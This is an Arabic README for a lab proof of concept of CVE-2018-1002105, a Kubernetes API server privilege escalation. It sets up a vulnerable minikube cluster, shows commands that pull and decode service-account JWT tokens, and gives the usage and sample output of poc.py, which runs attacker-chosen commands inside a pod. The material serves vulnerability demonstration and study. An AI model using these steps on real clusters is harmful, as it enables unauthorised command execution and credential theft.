
إثبات مفهوم لاستغلال CVE-2018-1002105، وهي ثغرة تصعيد صلاحيات في Kubernetes تسمح بتنفيذ أوامر غير مصرح بها داخل الحاويات (pods) عبر خادم kube-apiserver.
الأعضاء: Abhishek Rungta, Shubham Saini, Siddhant Sood
لقد وفرنا صورة جهاز افتراضي (ملف .ova) قم بتنزيلها وإنشاء جهاز افتراضي منها. الصورة ova المقدمة مُهيأة مسبقًا مع docker v18.09 و minikube v1.9.0
نظرًا لأن صورتنا الافتراضية تحتوي بالفعل على minkube وإصدارات kubernetes المطلوبة، فقط قم بتشغيل الأمر التالي لبدء minikube
minikube start --kubernetes-version=v1.12.2
قم بإنشاء مستخدم جديد و namespace وقم بتعيين دور RBAC للمستخدم الذي تم إنشاؤه باستخدام الأمر التالي.
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
غيّر قيمة maxPerCore إلى 0
أولاً، قم بتشغيل الأمر التالي للحصول على جميع رموز jwt المخزنة في النظام
kubectl get secrets -A
للحصول على secret الخاص بالمستخدم المحدد الذي تم إنشاؤه، قم بتشغيل الأمر التالي:
kubectl -n [namespace] get secrets [user-token] -o json
ثم قم بفك ترميزه بواسطة base64.
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
حدد جميع الوسائط المطلوبة:
-t للهدف> ip:port (مطلوب)
-j لرمز JWT الخاص بالمستخدم (مطلوب)
-p للـ pod (مطلوب)
-n للـ namespace
-m للطريقة (مطلوب)
-c للحاوية
-x لأمر المهاجم
الإدخال
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
الإخراج
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
فيديو تجريبي رابط